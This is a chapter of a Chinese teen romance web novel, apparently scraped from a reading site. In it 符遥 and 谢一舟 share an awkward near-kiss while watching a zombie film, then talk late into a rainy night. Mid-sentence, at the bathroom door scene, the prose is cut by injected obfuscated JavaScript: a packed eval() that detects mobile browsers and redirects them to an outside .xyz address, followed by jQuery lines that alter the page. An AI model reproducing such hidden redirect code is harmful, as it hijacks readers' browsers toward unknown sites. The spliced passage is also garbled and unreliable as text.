说是看电影，符遥的心思得有一大半放在谢一舟身上。
他这个人存在感太过强烈，哪怕静止不动也容易引起旁人关注，更何况刚才突然那么大动作。
符遥眼尖注意到他耳朵红了。
电影画面中，男女主逃到了一栋废弃民居。
颠沛流离一整夜，女主恨不得立刻上床休息，奈何身上衣服被车窗飘雨打得湿透，冷得哆嗦。
她只能转过身去，坐在床边，一边脱衣服一边叮嘱男主，“——闭眼。”
女主的衣服掀到一半，露出的半截胴体美好曼妙，符遥瞪大眼睛。
电光火石间，身体的行动快过脑子，她直接朝谢一舟扑过去，一手盖住他眼睛，一手试图搭他肩上借力。
计划非常完美，唯一美中不足的是她错误估计了这沙发的软度，左腿膝盖陷在沙发夹缝里，平衡瞬间失控，下一秒，她整个人都往谢一舟怀里倒去。
谢一舟毫无防备，手上甚至还拿着擦头发的毛巾。
转眼间天翻地覆，被她以饿狼之势扑倒，忍不住从喉咙里挤出一声闷哼。
符遥两只手撑在他头顶两侧，一边膝盖抽不出来，另一边膝盖顶在他双腿中间，当真是进退两难。
她垂下的发丝飘飘荡荡，扫过他的脸颊，如柳条轻拨水面，无声无息地撩动着少年心绪。
纷乱急促的呼吸，刹那交汇的视线比身体更为滚烫，他漆黑的眸子亮得让人无法逼视，仿佛一靠近就会被那熔浆灼烧般。
符遥低着头看他，脑子一片空白，倒是还记得自己刚刚为什么如此激动，学着电影里的女主角开口，“闭眼。”
“！”
“非礼勿视。”
“……”谢一舟眼里那簇火苗狠狠跳了一下。
他这辈子都没有经历过这么狼狈的时刻，这一秒双手甚至还虚虚地环在她腰后，生怕符遥从沙发上摔下来。闻言，他喉结动了动，只以为符遥是不好意思，视线也不敢往下乱瞟，咬着牙关认命般闭上眼睛。
两人之间的距离无限贴近。
她端详着谢一舟蹙起的眉，双眸紧闭，睫毛又长又密，在眼脸处投下一小片阴影。他不笑时其实看起来偏冷清，一旦被她逗笑，那双眼睛却如同揉碎了星辰银河，诱人沉沦。
视线再往下，是挺直的鼻梁。
符遥百忙之中，居然还能留意到他上半唇有颗小小的唇珠，看着柔软又好亲。
想亲。
“谢一舟，我……”
她喉咙干渴，像在沙漠里跋涉许久的旅人。
凑近后，谢一舟身上积雪草的气息越发馥郁浓烈，明明是清冽甘甜的味道，偏偏冷欲得诱人，像只针对她一个人的猫薄荷，冲得她头昏脑涨。
喜欢你。
好喜欢你。
从第一次见面就开始喜欢，每天都好像比上一天更喜欢。
符遥咬紧嘴唇，生怕一不留神告白的话就从嘴巴里跑出来，她完全控制不住。
许是感觉到身上的人久久没有反应，谢一舟睫毛颤动一下，双手在身侧紧攥成拳，喉结难耐地滚动。
楼下门铃声骤响。
一声又一声，急促尖锐，如同催命般，“您好！您点的外卖到了——”
符遥本就做贼心虚，被这么一吓，受惊兔子似的从沙发上蹦起来。
“……”谢一舟睁开眼，似是不知道说什么，千言万语都哽在喉咙里，只能慢腾腾地坐直身子。毛巾从他身上滑落，他伸手揉了下脖子，睫毛低垂，眼底的情绪晦暗不明。
“对不起！”符遥立正挨打，出口才觉得不对，怎么说得像故意占他便宜一样，连忙补救道：“我的意思是，谢、谢谢？”
好像更不对。
“……”谢一舟双腿敞开，上半身倾着，手肘撑在膝盖上，开口时声音低哑，“一楼门锁上了，往右拧两次就能开。”
“？”符遥站在原地，兀自发愣。
“你再不去的话，外卖小哥就要破门而入了。”谢一舟淡淡地扯了下嘴角，抬头看她。他其实不太清楚自己面上是什么表情，但他知道此刻心跳有多失控，一声一声响如擂鼓，像野兽咆哮着要冲出牢笼。
又被他一巴掌狠狠抽了回去。
符遥茫然哦了一声，转身，同手同脚地下楼。
谢一舟注视她匆匆的背影，松了口气，随手抓起一个沙发靠枕挡在身上。
他身子很是疲惫地朝后靠着，右手手背盖住眼睛，喉结像海中陡起的礁石。有那么几秒，他放任思绪没有边际地漂流。
他初中那会儿要补的东西太多，一天十个小时都埋在桌前。
学到傍晚，夕阳明晃晃地出现在书窗前边，宣告一天的盛大落幕。他偏偏喜欢在这时骑车出门，随便拣一条路出发，没有目的地、没有终点，骑累了就回来。
有时途中经过堤坝，余晖给海面镀上一层温柔的金光。大概也不会再中二到像小时候那样，对空无一人的海面呐喊扔石头，企盼不可能有的回音……他多半会像现在这样，选一个僻静的沙滩躺一会，放空思绪，什么都不想，让气泡沉入大海。
屏幕忽然亮起，暖光映在他脸上。
男女主的声音彼此交错。
谢一舟后知后觉地发现自己忘记按暂停，他抬手揉了揉眉心，长臂一捞，把遥控器拿来。
电影正播放到男主的梦境。
按理来说丧尸不会做梦，但是躺在女主身边地板的那个晚上，男主做了个梦。
梦中一片温暖的花园草地，阳光洒在女主金发上，夺目得刺眼，女主眯起眼看他，“你想成为什么？”
“我不知道，”男主茫然地举起手看了看，“我甚至不记得自己是谁。”
“你是谁并不重要。”女主的手慢慢抚上他苍白的脸颊，“重要的是，你想成为什么，就算你是一只丧尸，你也可以选择像人一样活着。”
“……”
谢一舟后来翻来覆去地想过，为什么偏偏是她。
时光倒退，回到在一中食堂的那个夜晚，符遥仰起头看他，黑白分明的眼里，仿佛写着他所有的过去、现在和未来。
“——他是他，你是你。”
“谢一舟，别人做的事情与你无关，你也不用像圣徒耶稣一样，背负着沉重的十字架往前走。”
于是十字架的绳索被砍断，告解的罪人受到赦免，而他狂喜到流不出泪。
就像沙漠干涸，海水倒灌，信徒遇见他此生唯一的神明。
符遥接过外卖袋子，在底下磨磨蹭蹭半天，最后一鼓作气登上楼梯。
“那个，”她路过时飞速拎起谢一舟叠好在沙发上的睡衣，不敢多看他，“我先去洗澡了。”
“嗯。”谢一舟直觉自己最好回避，反应很快地站起来，“那我回房间……”
彼此沉默对站一会儿，连空气都透着尴尬。
“好。”符遥冲他胡乱点了下头，冲进浴室，“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15772793|170515||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
砰”地关上门，紧跟着“啪嗒”一声上锁。
像是防贼。
谢一舟：“……”
符遥终于知道谢一舟为什么要先洗澡了，浴室明显被他提前清洁过一遍。
镜面光亮，洗发水到沐浴露整整齐齐排列在架子上，旁边还挂着条崭新的毛巾，貌似跟他自己拿来擦头发那条是同款。
符遥收回视线，对着镜子，轻轻呼出一口气。
心头有什么在发烫。
镜中的少女双眸明亮，面色绯红，良久，她怔怔抬手，摸了下自己的唇。
柔软的，带着温度。
符遥没有实践经验，但是她看过不少乱七八糟的画本，根据主角描述，亲吻有点像在品尝果冻。
她忍不住在脑子里幻想，谢一舟会是什么味的果冻。
是不是像那种刚从冰箱里拿出来，唇间冰凉的，舌头卷过去才能尝到丝丝的甜味。
夜晚剩下的时间过得飞快。
谢一舟坐在卧室里，房门没掩，桌上台灯亮着，可惜椅子背对门，不知道他在做什么。
符遥也没再去打扰他，坐回沙发上，安安静静看完了刚刚那部电影。她这人好奇心强，又容易被剧情吊起胃口，从前没看完的漫画就算熬一个通宵也得看完。
电影结局是HappyEnding，女主用爱感化男主，丧尸群重新变回人类，身体有了温度，会流血、会落泪、以及爱人和被爱。
除了充当炮灰被男主吃掉脑髓的女主前男友，一切都很治愈。
符遥心满意足地伸个懒腰，揣着手机走进卧室。
这个点，该睡觉了。
“看完电影了？”谢一舟听见她脚步声，头也没抬，声音倦懒。
“嗯。”符遥应了一声，坐在床边看他。
外头不知道什么时候下起暴雨，雨水打在飘窗上，点点滴滴，映得窗外世界无限朦胧。
符遥才发现原来谢一舟一直低着头是在组装模型，拼的机械狗。
他修长的手指有条不紊地摩挲过一块又一块的零件，侧脸禁欲又专注，叫人看着就赏心悦目。
“拼好之后应该挺帅的，就是费手。”符遥说：“你的耐心真是令人佩服。”
谢一舟轻扯了下嘴角，“组装东西是很好的一种解压方式。”
类似的还有解数学题，从无到有，从混沌到秩序，等到一切都物归原位，思绪也会跟着平静下来。
“打乱东西也是一种很好的解压方式。”符遥歪头看他，调皮地眨了眨眼，“你心情不好？”
其实不是心情不好，只是脑子里承载的东西太多，思绪像密麻的雨点嘈杂纷乱，狂风一样扑上屋檐，搅得世界天翻地覆。
偏偏始作俑者还毫无自觉。
谢一舟在心中叹口气，放下手中拼到一半的机械臂，目光很是克制冷淡地落到她身上。
符遥长发随意散着，身上穿着那件蓝白的扎染棉T，领口太大，露出一小节纤细秀气的锁骨，像月光下蜿蜒的溪流。
“……”谢一舟喉结动了动，礼貌地抬高视线。
屋内一片静默，唯有雨声悄然。
两人视线在半空撞上，谢一舟第一次放纵自己沉溺在那双眼睛里，小心翼翼地试探，暧昧不明地纠缠。像一滴水融进墨中，发生时悄无声息，彼此却心知肚明一切都将从此不同。
“嗯，”谢一舟视线看向窗外，声音很低，似抱怨又像在庆幸，“因为下雨了。